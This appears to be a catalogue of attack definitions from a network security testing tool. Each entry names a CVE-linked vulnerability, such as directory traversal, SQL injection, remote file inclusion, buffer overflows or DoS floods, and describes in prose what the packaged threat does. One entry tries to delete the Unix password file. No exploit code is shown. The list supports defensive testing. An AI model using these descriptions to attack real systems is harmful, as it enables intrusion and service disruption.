Executive Description:	Http explorer Web Server 1.02 Directory Transversal Vulnerability
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. Http explorer Web Server is a web server that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6758
Threat Package:	Standard
Threat File Name:	barracuda_dirtransversal_IPv6.xml
Executive Description:	BarracudaDrive Web Server Directory Traversal Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a directory traversal vulnerability in BarracudaDrive Web Server allows for reading of arbitrary files via a .. (dot dot) in the URI. BarracudaDrive Web Server typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6317
Threat Package:	Standard

Threat File Name:	carsportal_sqli_b.xml
Executive Description:	Cars Portal Index.PHP Multiple SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgewall an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4055
OSVDB:	21482
Threat File Name:	MSRPC_DOS_IPv6.xml
Executive Description:	MS01-041 Windows 2000 RPC Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a crash in the Windows 2000 RPC service, which listens on port 135. This threat represents a large class of threats which are capable of crashing MS-RPC. (IPv6 Version)
Protocol Type:	DCOM/IPv6
CVEID:	CVE-2001-0509
OSVDB:	10160
Threat Package:	Standard
Threat File Name:	malformedVersionIP_IPv6.xml
Executive Description:	Malformed Random IP Packet Version (IPv6 Version)
Detailed Description:	This threat sends an IP packet with a random version field. Can cause poorly implemented TCP/IP stacks to fail. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-1432
OSVDB:	8149
Threat Package:	Standard
Threat File Name:	FSC20070612-09_Microsoft_Windows_Schannel_Security_Package_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows Schannel Security Package Code Execution Vulnerability (IPv6 Version)
Detailed Description:	There exists a heap corruption vulnerability in the way Windows Schannel on a client machine validates server-sent digital signatures. The vulnerability is due to insufficient checks performed on server-sent digital signatures during SSL handshakes. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted Web site. Successful exploitation would allow the attacker to execute arbitrary code on the target system with the privileges of the System level privileges. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2218
Threat Package:	Standard
Threat File Name:	bashGetRootFlood.xml
Executive Description:	Bash Get Root Flood
Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/bash' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	sienzo_dmm_activex_bof.xml
Executive Description:	Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) SetEvalExpiryDate Method Stack Overflow SEH Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Sienzo Digital Music Mentor ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2564
Threat Package:	Standard
Threat File Name:	TSL20150909-15_Advantech_WebAccess_AspVCObj.AspDataDriven_ActiveX_GetWideStrCpy_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetWideStrCpy Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument to GetWideStrCpy() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9208
Threat File Name:	actsoft-dvdtools_activex_rbof.xml
Executive Description:	ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in the ActSoft DVD-Tools ActiveX control (dvdtools.ocx) to allow for the execution of arbitrary code via a long DVD.TOOLS.OpenDVD property value used in a malicious web page. ActSoft DVD-Tools ActiveX control is a plugin to Internet Explorer, a web browser that typically connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0976
Threat Package:	Standard
Threat File Name:	FSC20060711-08_Microsoft_ASP.NET_Application_Folder_Information_Disclosure.xml
Executive Description:	Microsoft ASP.NET Application Folder Information Disclosure
Detailed Description:	An information disclosure vulnerability has been identified in Microsoft ASP.NET product. The flaw is caused by an improper checking of the user supplied URLs. An attacker may exploit this vulnerability to access any object in the ASP.NET Application folder.
Protocol Type:	HTTP
CVEID:	CVE-2006-1300
Threat Package:	Standard
Threat File Name:	veritas_netbackup_fmt_IPv6.xml

Executive Description:	Veritas Netbackup bpjava-msvc Format String Attack (IPv6 Version)
Detailed Description:	This threat sends a format string attack the Veritas Netbackup Java Interface. It allows an attacker to run arbitrary code with the privileges of the backup daemon. Veritas NetBackup Java Interface typically listens on port13722. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2715
OSVDB:	19949
Threat Package:	Standard
Threat File Name:	FSC20090414-09_Microsoft_Internet_Explorer_Marquee_Object_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Marquee Object Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles Marquee objects. Remote attackers can exploit this vulnerability by enticing target users to open a crafted web page. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0554
Threat Package:	Standard
Threat File Name:	uberghey_rfi_IPv6.xml
Executive Description:	Uberghey 0.3.1 (frontpage.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. UberGhey CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0359
Threat Package:	Standard
Threat File Name:	ping_o_death_IPv6.xml
Executive Description:	Ping Of Death (IPv6 Version)
Detailed Description:	This threat issues out a fragmented ICMP Ping packet that is longer than the possible maximum length. This threat is known to cause various operating systems to crash when attempting to reconstruct the ping packet. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0128
OSVDB:	11454
Threat Package:	Standard
Threat File Name:	TSL20111115-08_Interactive_Data_eSignal_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Interactive Data eSignal Stack Buffer Overflow(IPV6 VERSION)
Detailed Description:	A stack buffer overflow vulnerability exists in Interactive Data eSignal. The vulnerability is due insufficient validation of string lengths when copying input into a fixed size stack buffer in certain file types. A remote attacker could exploit this vulnerability by enticing the user to open a maliciously crafted file. Successful exploitation would lead to execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP
CVEID:	CVE-2011-3494
Threat File Name:	TSL20120802-01_Apple_Safari_WebKit_Button_Column_Blocks_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit Button Column Blocks Memory Corruption
Detailed Description:	A memory corruption vulnerability exists within WebKit, a component of Apple Safari. The vulnerability is due to improper handling of column blocks and buttons which can lead to memory corruption.A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Safari. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1520
OSVDB:	84139
Threat File Name:	FSC20090115-11_Oracle_Secure_Backup_NDMP_Packet_Handling_Multiple_Denial_of_Service_IPv6.xml
Executive Description:	Oracle Secure Backup NDMP Packet Handling Multiple Denial of Service (IPv6 Version)
Detailed Description:	Multiple denial of service vulnerabilities exist in Oracle Secure Backup. The flaws are due to insufficient input validation when processing NDMP requests. Remote unauthenticated attackers can exploit these vulnerabilities by sending a specially crafted request to the affected server. A successful exploitation can lead to on the Oracle Secure Backup service, and abnormally terminate an instance of the affected process. (IPv6 Version)
Protocol Type:	NDMP/IPv6
CVEID:	CVE-2008-5441
Threat Package:	Standard
Threat File Name:	FSC20100309-10_Microsoft_Office_Excel_XLSX_File_Parsing_Code_Execution.xml
Executive Description:	Microsoft Office Excel XLSX File Parsing Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper handling of the ZIP header in an XLSX file when decompressing certain XML elements. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target machine by enticing a user into opening a specially crafted Excel XLSX document. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0263
Threat Package:	Standard
Threat File Name:	TSL20161202-01_Dell_SonicWALL_Universal_Management_Suite_ImagePreviewServlet_SQL_Injection_IPv6.xml
Executive Description:	Dell SonicWALL Universal Management Suite ImagePreviewServlet SQL Injection (IPv6 Version)

Detailed Description:	An SQL injection vulnerability has been reported in Dell SonicWALL Universal Management Suite. The vulnerability is due to an error in validation of the logoID parameter in the ImagePreviewServlet script. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of SYSTEM on the target host.
Protocol Type:	HTTP, IPv6
Threat File Name:	SYNFInlood.xml
Executive Description:	TCP SYN FIN Flood
Detailed Description:	This threat is executed by flooding a targeted host with TCP SYN FIN packets causing the target opening connections until its resources have been exhausted resulted in a denial of service for all legitimate users. Sending a SYN Flood, with the FIN flag designated, will not be dropped by certain firewalls and IDS systems.
Protocol Type:	TCP
CVEID:	CVE-2002-1778
OSVDB:	6255
Threat Package:	Standard
Threat File Name:	FSC20071121-05_FLAC_Project_libFLAC_Picture_Metadata_MIME-Type_Size_Buffer_Overflow.xml
Executive Description:	FLAC Project libFLAC Picture Metadata MIME-Type Size Buffer Overflow
Detailed Description:	A heap memory overflow vulnerability exists in FLAC library embedded and used by various products. The vulnerability is due to boundary errors when processing Free Lossless Audio Codec (FLAC) audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4619
Threat Package:	Standard
Threat File Name:	phpFullannu_rfi_IPv6.xml
Executive Description:	phpFullAnnu <= v5.1 (repmoD) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.phpFullAnnu is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080328-04_Mozilla_Firefox_IFRAME_Style_Change_Handling_Code_Execution_IPv6.xml
Executive Description:	Mozilla Firefox IFRAME Style Change Handling Code Execution (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Firefox products. The flaw is due to improper handling of changes to style elements of IFrame objects. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1236
Threat Package:	Standard
Threat File Name:	TSL20150501-07_PowerDNS_Nameserver_Label-Decompression_Denial_of_Service_IPv6.xml
Executive Description:	PowerDNS Nameserver Label Decompression Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability exists in PowerDNS. The vulnerability is due to a design weakness in PowerDNS label decompression code causing excessive looping. A remote attacker can exploit these vulnerabilities by sending a request to a vulnerable server to consume CPU resource. A successful attack could lead to resource exhaustion resulting in a denial of service condition. Tester should set variable \$destPort to 53 before test.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2015-1868
Threat File Name:	phpfusion_cmi_IPv6.xml
Executive Description:	PHP-Fusion 6.00.306 Multiple Vulnerabilities Exploit (IPv6 Version)
Detailed Description:	This threat uses several crafted HTTP queries to upload arbitrary php code contained in a file with multiple extensions, and then cause the server to execute this code. PHP-Fusion is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2330
Threat Package:	Standard
Threat File Name:	FSC20100309-04_Microsoft_Windows_Movie_Maker_and_Producer_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Movie Maker and Producer Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Movie Maker and Microsoft Producer. The flaw is due to the way the affected products parse maliciously crafted project files. A remote attacker can leverage this vulnerability by enticing a target user to open a malicious file. A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2010-0265
Threat Package:	Standard
Threat File Name:	lsass_IPv6.xml
Executive Description:	MS04-007 LSASS Reboot Buffer Overflow (IPv6 Version)
Detailed Description:	This attack takes advantage of the buffer overflow in Microsoft's lsasrv.dll service. Causes a remote machine to go down for a scheduled reboot. The LSASS service listens on Microsoft ports, such as 445. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	w-agera_traversal.xml
Executive Description:	W-agera File Disclosure

Detailed Description:	This threat causes the web application W-agora to disclose the contents of files contained on the server. This can be used by an attacker to learn of sensitive information on the target computer to launch further attacks. This attack affects a web application, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2648
OSVDB:	18831
Threat Package:	Standard
Threat File Name:	hpopenview_snmp_hidden_IPv6.xml
Executive Description:	HP OpenView Hidden Community Name (IPv6 Version)
Detailed Description:	This threat performs a SNMP probe of an HP OpenView system with community name snmpd. This is an undocumented community present in certain versions of HP OpenView. This community string has read and write access to the system configuration. SNMP typically listens on port 161. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-1999-0254
OSVDB:	5770
Threat Package:	Standard
Threat File Name:	fuzz-IP_TypeofService_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:TypeofService (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20170713-02_Nginx_ngx_http_range_filter_module_Integer_Overflow.xml
Executive Description:	Nginx ngx_http_range_filter_module Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in Nginx. The vulnerability is due to insufficient validation of requested byte ranges in ngx_http_range_filter_module.c. A remote attacker can exploit this vulnerability by sending a crafted HTTP request to the target application. Successful exploitation could result in information disclosure.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-7529
Threat File Name:	fuzz-HTTP_AppendformatnToDelete_IPv6.xml
Executive Description:	Fuzz HTTP DELETE appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20160722-05_PHP_exif_process_user_comment_Null_Pointer_Dereference.xml
Executive Description:	PHP exif_process_user_comment Null Pointer Dereference
Detailed Description:	A denial of service vulnerability exists in the Exif module of PHP. The vulnerability is due to a null pointer dereference in exif_process_user_comment when trying to handle JIS encoded user comment Exif tags when multi-byte string support is enabled in PHP. A remote, unauthenticated attacker can exploit this vulnerability by having the target PHP application process Exif data on a maliciously crafted image. Successful exploitation would cause the PHP interpreter to crash, leading to a denial of service condition.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-6292
Threat File Name:	FSC20081006-26_iseemedia_LPViewer_ActiveX_Control_Multiple_Buffer_Overflows.xml
Executive Description:	iseemedia LPViewer ActiveX Control Multiple Buffer Overflows
Detailed Description:	There exist multiple buffer overflow vulnerabilities in iseemedia LPViewer ActiveX Control. The vulnerabilities are due to insufficient boundary checking when a crafted parameter is passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-4384
Threat Package:	Standard
Threat File Name:	aj_auction_sqli.xml
Executive Description:	AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. AJ Auction is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1297
Threat Package:	Standard
Threat File Name:	TSL20121113-12_Microsoft_Excel_SerAuxErrBar_Heap_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel SerAuxErrBar Heap Memory Corruption(IPV6 Version)
Detailed Description:	An out of bound array index vulnerability exists in Microsoft Excel. The vulnerability is due to the way Excel handles crafted SerAuxErrBar records in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-1885
OSVDB:	87270
Threat File Name:	sipxtapi_bof.xml
Executive Description:	sipXtapi Buffer Overflow
Detailed Description:	This threat sends out a SIP INVITE message with a large value for the CSeq header. CSeq values of greater than 24 bytes can cause a buffer overflow and code execution in products that use the sipXtapi library, which is used in AOL Triton and PingTel.
Protocol Type:	SIP
CVEID:	CVE-2006-3524
OSVDB:	27122
Threat Package:	VoIP

Threat File Name:	TSL20140421-09_CA_ERwin_Web_Portal_ProfileIconServlet_Information_Disclosure.xml
Executive Description:	CA ERwin Web Portal ProfileIconServlet Information Disclosure
Detailed Description:	Two information disclosure vulnerabilities exist in CA ERwin Web Portal. These vulnerabilities are due to lack of authentication and insufficient input validation in the ProfileIconServlet servlet when processing multiple HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage these vulnerabilities to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP
CVEID:	CVE-2014-2210
OSVDB:	106137
Threat File Name:	FSC20060613-07_Microsoft_Internet_Explorer_HTML_Decoding_Memory_Corruption_Vulnerability_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Decoding Memory Corruption (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Internet Explorer. The flaw is caused by improper decoding of UTF-8 encoded HTML files. An attacker can exploit this vulnerability by enticing a user to open a crafted HTML file, resulting in possible injection and execution of arbitrary code on the target system with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2382
Threat Package:	Standard
Threat File Name:	TSL20170612-11_Schneider_Electric_U.motion_Builder_localize.php_SQL_Injection_IPv6.xml
Executive Description:	Schneider Electric U.motion Builder localize.php SQL Injection (IPv6 Version)
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the username HTTP request parameter in requests made to localize.php. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary code execution on the target server.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7973
Threat File Name:	TSL20140122-01_Red_Hat_JBoss_Seam_Framework_XXE_Information_Disclosure_IPv6.xml
Executive Description:	Red Hat JBoss Seam Framework XXE Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Red Hat JBoss Seam Framework. This is due to an incorrectly configured XML parser accepting XML eXternal Entities (XXE) from untrusted sources being used by the ExecutionHandler, PollHandler, and SubscriptionHandler classes within the JBoss Seam Framework's Remoting component. A remote unauthenticated attacker may exploit this vulnerability on a web application powered by the JBoss Seam Framework to disclose the contents of files via specially crafted XML documents.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6447
OSVDB:	102345
Threat File Name:	TSL20140220-14_Adobe_Flash_Player_SharedObject_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player SharedObject Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error when terminating a worker thread containing a SharedObject. A remote attacker could exploit this vulnerability by enticing a target user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user. Note that this vulnerability is being actively exploited in the wild.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPv6
CVEID:	CVE-2014-0502
OSVDB:	103518
Threat File Name:	sipbroadcastok.xml
Executive Description:	SIPPING: Broadcast Response Code
Detailed Description:	This threat sends out a 200 OK response to broadcast. If an implementation isn't checking for this case, it could forward it on to broadcast and overwhelm a network if flooded.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	vlanflood.xml
Executive Description:	VLAN Flood
Detailed Description:	This threat fires off a flood of VLAN tagged packets in an attempt to confuse a router or switch. Can cause failure of switching equipment.
Protocol Type:	VLAN
Threat Package:	Standard
Threat File Name:	FSC20090714-08_Microsoft_Office_Publisher_2007_Pointer_Dereference_Code_Execution.xml
Executive Description:	Microsoft Office Publisher 2007 Pointer Dereference Code Execution
Detailed Description:	There exists a pointer dereference vulnerability in the Microsoft Office Publisher product. The flaw is triggered when a malicious PUB file is parsed by the affected component. A successful attack targeting this vulnerability may lead to the execution of arbitrary code with the privileges of the currently logged in user. In an attack case where code injection is not successful, the Microsoft Office Publisher application processing the malicious PUB file will terminate abnormally. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/FTP
CVEID:	CVE-2009-0566
Threat Package:	Standard
Threat File Name:	sphpBlog_delete.xml
Executive Description:	Simple PHP Blog Arbitrary File Deletion
Detailed Description:	This threat attempts to delete the Unix password file through a flaw in the Simple PHP Blog web application. This flaw allows an attacker to specify any file on the target for deletion, which can lead to other remote system compromises. This threat affects a web application, which typically listens on port 80.
Protocol Type:	HTTP

CVEID:	CVE-2005-2787
OSVDB:	19070
Threat Package:	Standard
Threat File Name:	TSL20140716-17_Oracle_Business_Intelligence_Mobile_App_Designer_Information_Disclosure_IPv6.xml
Executive Description:	Oracle Business Intelligence Mobile App Designer Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in Oracle Business Intelligence Mobile App Designer. The vulnerability is due to insufficient input validation of certain parameters, which can allow an attacker to traverse the file system and access files. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the vulnerable application. Successful exploitation could result in the disclosure of arbitrary files. Tester should turn variable \$destPort into 7001 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-4249
OSVDB:	109086
Threat File Name:	UDP_frag.xml
Executive Description:	UDP FRAG Attack
Detailed Description:	This attack is based of the Imperfect Networks Incremental Frag attack.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	zomplog_rfi.xml
Executive Description:	Zomplog v3.8 Remote File Disclosure Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. Zomplog is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1524
Threat Package:	Standard
Threat File Name:	phplistpro_cmi_c.xml
Executive Description:	phpListPro in.php returnpath Variable Remote File Inclusion
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phpListPro is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	cattadoc_remote_file_disclosure.xml
Executive Description:	cattaDoc 2.21(download2.php fnl)Remote File Disclosure Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. CattaDoc is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1930
Threat Package:	Standard
Threat File Name:	FSC20090611-01_Adobe_Acrobat_and_Adobe_Reader_FlateDecode_Integer_Overflow.xml
Executive Description:	Adobe Acrobat and Adobe Reader FlateDecode Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to the way Adobe Acrobat and Adobe Reader processes FlateDecode filter parameters. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1856
Threat Package:	Standard
Threat File Name:	FSC20060721-02_MySQL_Server_Date_Format_Function_Format_String_Vulnerability.xml
Executive Description:	MySQL Server Date_Format Function Format String Vulnerability
Detailed Description:	There exists a denial of service vulnerability in the MySQL database server. The problem is caused by an incorrect handling of the arguments passed to the built-in SQL function DATE_FORMAT, which causes the application to terminate. A remote authenticated attacker can exploit this vulnerability to cause a denial of service condition on the target server.
Protocol Type:	Proprietary, SQL
CVEID:	CVE-2006-3469
Threat Package:	Standard
Threat File Name:	helix_server_rheap_IPv6.xml
Executive Description:	Real Networks Helix Server DESCRIBE Request Remote Heap Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a DESCRIBE request with an invalid LoadTestPassword field to a Helix Server and will lead to a heap overflow and execute arbitrary code. Helix is a server application and typically listens on port 554. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-6026
Threat Package:	Standard
Threat File Name:	FSC20110208-45_Microsoft_Windows_Shell_Graphics_Thumbnail_Image_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Shell Graphics Thumbnail Image Integer Overflow(IPv6 Version)

Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows Shell Graphics Processing. The vulnerability is due to an integer overflow error when processing a width value of a thumbnail image. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution. Note that CVE-2010-3970 covers two different vulnerabilities. This report covers the integer overflow announced by iDefense whereas FSC20110104-03 covers the stack buffer overflow.
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-3970
Threat File Name:	FSC20090414-09_Microsoft_Internet_Explorer_Marquee_Object_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Marquee Object Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles Marquee objects. Remote attackers can exploit this vulnerability by enticing target users to open a crafted web page. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0554
Threat Package:	Standard
Threat File Name:	webtorrnt_sqli.xml
Executive Description:	WebTorrent Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. WebTorrent is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4238
Threat Package:	Standard
Threat File Name:	oscommerce_afi.xml
Executive Description:	OSCommerce Arbitrary File Disclosure Vulnerability
Detailed Description:	This threat exploits a flaw in the OSCommerce installation by using the included "extras" directory and included "update.php" script to specify an arbitrary "read me" file. OSCommerce is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140428-04_Apache_Struts_CookieInterceptor_ClassLoader_Security_Bypass_IPv6.xml
Executive Description:	Apache Struts CookieInterceptor ClassLoader Security Bypass (IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by Cookie Interceptor allowing for manipulation of the ClassLoader. A remote attacker could exploit this vulnerability by providing a "class" cookie in an HTTP request. Successful exploitation could lead to a security bypass condition due to ClassLoader manipulation.
Protocol Type:	HTTP, HTTPS, IPV6
CVEID:	CVE-2014-0113
OSVDB:	103918
Threat File Name:	galleria_afi.xml
Executive Description:	Galleria 1.0 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query containing the path of a script file to be included via galleria.html.php "mosConfig_absolute_path" parameter. Galleria is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120508-30_Adobe_Shockwave_Player_rcsL_Chunk_Parsing_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Adobe Shockwave Player rcsL Chunk Parsing Out of Bounds Array Indexing
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave Player. The vulnerability is due to an error while parsing crafted data in an rcsL RIFF chunk of a DIR file. An attacker can exploit this vulnerability by enticing a user to process a malicious file, which can result in remote code execution under the security context of the current user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2012-2031
OSVDB:	81750
Threat File Name:	http_get_bat.xml
Executive Description:	HTTP Request for Microsoft Batch File
